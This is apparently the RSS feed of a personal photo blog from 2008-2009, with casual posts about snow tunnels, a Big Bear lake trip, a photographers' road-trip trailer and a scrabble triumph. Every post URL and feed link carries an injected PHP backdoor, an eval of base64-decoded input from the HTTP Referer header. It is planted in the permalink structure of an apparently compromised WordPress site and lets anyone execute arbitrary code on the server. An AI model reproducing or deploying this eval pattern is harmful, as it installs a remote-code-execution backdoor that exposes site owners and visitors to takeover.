michael + nellie's blog of awesome http://michaelandnellie.com/blog Fri, 20 Mar 2009 19:19:34 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 march 19 http://michaelandnellie.com/blog/2009/03/20/march-19/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2009/03/20/march-19/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 20 Mar 2009 19:19:34 +0000 michaelchan http://michaelandnellie.com/blog/?p=141 a few frames i got at jared’s soccer game.

march 19

march 19

march 19

march 19

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this time everything was covered in about 3-4 feet of snow. so, we built a tunnel and it is EPIC!

tomorrow… snowball fight.

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merry christmas (:

]]> http://michaelandnellie.com/blog/2008/12/28/merry-christmas-2008/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 mammoth men v3 http://michaelandnellie.com/blog/2008/11/06/mammoth-men-v3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/11/06/mammoth-men-v3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 06 Nov 2008 14:31:11 +0000 michaelchan http://michaelandnellie.com/blog/?p=137 let your anticipations rise to the occasion…


Mammoth Men 3 Trailer from FRED EGAN on Vimeo.

In the early wintery months of 2008, eight celebrated, award-winning and downright awesome photographers from all over the country grabbed their snowboards to ride the mountains of Mammoth, California. This marked the beginning of what is now known as…wait for it…The Mammoth Men. What ensued during that getaway was a week filled with adventure, spontaneity, hijinks and storied tales. A bond was forged amongst these men and a commitment made to doing it again, and doing it often!

During the Summer of 2008, The Mammoth Men hit the road again. Only this time, they loaded up 10 photographers in a Prevost rock star tour bus, drove for five days up the California Coast and shared it with everyone via their traffic happy blog. So much so that their blog readers actually got to choose their day-to-day adventures while watching them play out the next day. The blog following continued even after the West coast trip ended and garnered media attention in the blogosphere.

Well, the guys are back for their much anticipated third installment of The Mammoth Men. Watch the mayhem unfold as these 12 photographers board their Prevost and head into the American Southwest to document their Route 66 road-trip. Packed with more guys, more miles and more camaraderie, it’s not just a roadtrip…it’s a lifestyle.

]]> http://michaelandnellie.com/blog/2008/11/06/mammoth-men-v3/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 i often pity those who take their sleep in the morning… http://michaelandnellie.com/blog/2008/09/29/i-often-pity-those-who-take-their-sleep-in-the-morning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/09/29/i-often-pity-those-who-take-their-sleep-in-the-morning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 29 Sep 2008 14:24:21 +0000 michaelchan http://michaelandnellie.com/blog/?p=135 not much of a sunrise chaser, but this morning was unreal! thunder and lighting to boot.

]]> http://michaelandnellie.com/blog/2008/09/29/i-often-pity-those-who-take-their-sleep-in-the-morning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 big bear : day 2 http://michaelandnellie.com/blog/2008/08/05/big-bear-day-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/08/05/big-bear-day-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 05 Aug 2008 17:48:37 +0000 michaelchan http://michaelandnellie.com/blog/?p=134 blue/greenberries.

in an effort to snap the shot above, i let my walking partners go on ahead.  as, i ran to catch up i was meet with a hurtle.  now, for an asian guy, i have a pretty good vertical leap –  it’s one of the few things i take pride in from my showchoir days ( that and the muscular profile of my legs in tights, landing a perfectly axis-ed barrel roll ).  in any case, i failed to calculate the added necessary height that my loose flip flops required.  after a someone intimate conversation with the concrete in front of me, i lifted my eyes to see that the concrete had also done me the pleasure of dismantling my camera as well.  what courtesy.

in anycase, my favorite lens is sufficiently busted. luckily a car passed between the group and i just at the moment of contact.  so, at least i left with my pride in tact!

kim used to lead a very talented improv group at her college.  we entertained ourselves late into the night mime/CLUE/telephone fusion.  i’ll give anyone a dollar that can ID any of the keywords in these pictures.

most people cry when the cut unions.  jeremy turns into the hulk.


 

]]> http://michaelandnellie.com/blog/2008/08/05/big-bear-day-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 3 big bear : day 1 http://michaelandnellie.com/blog/2008/08/04/big-bear-day-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/08/04/big-bear-day-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 04 Aug 2008 21:18:33 +0000 michaelchan http://michaelandnellie.com/blog/?p=133 yesterday, nellie and i made our way up to big bear for a 3 day get away.  the roth family scored a deal on a NINE ( count ‘em 9 ) room chalet, right on big bear lake.  and when i say right on big bear lake, i mean there’s a private dock mere feet away from our 3rd master bedroom! BOOYAH!!!

here’s the spread!

kim + jeremy make me smile…

danger at every turn…

i LOVE this picture ;)

alex has had one question for me all day: “did you bring your ticket’s to the gun show?”

no, but i heard their going for 1/2 price right now…

you might not have been told but my girl is a rocktastical dart player.  of course, no-one told her that i eat rocktastical dart players for breakfast!

]]> http://michaelandnellie.com/blog/2008/08/04/big-bear-day-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 ryan’s birthday ( pending ) http://michaelandnellie.com/blog/2008/07/28/ryans-birthday-pending/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/07/28/ryans-birthday-pending/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 28 Jul 2008 22:28:24 +0000 michaelchan http://michaelandnellie.com/blog/?p=131 as with most aspects of my life, blogging has taken a “pending” status.  however, among the many “yet to be posted”, a true gem has emerged…

this past saturday was ryan’s 22nd birthday. much more on that to come but while i continue to rack my brain for ways to avoid work, here’s a great shot of max telling me about… something.

here’s to a hectic summer!

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last night, nellie and i enjoyed what can only be described as the perfect game of scrabble. it was flawless from start to finish with words stretching to every corner.

“why are you blogging this?” you might ask. well, i’m glad you asked! last night, i accomplished my life-long scrabble dream of dropping all 7 letters in 1 turn. yes, that is correct! i got the triple word-score AND the 50 point bonus for a total of 83 points. of course, in the time it took me to to get all those pieces, nellie gave me quite a chumpitizing.

i guess being “diligent” didn’t pay off this time…

]]> http://michaelandnellie.com/blog/2008/07/18/diligent/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 http://michaelandnellie.com/blog/2008/07/09/carnis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://michaelandnellie.com/blog/2008/07/09/carnis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Jul 2008 14:26:29 +0000 michaelchan http://michaelandnellie.com/blog/?p=129 last week i had a really fun shoot at the del mar san diego county fair. all that is still in the works, but enjoy a few pics of some gnarly carnis ;)

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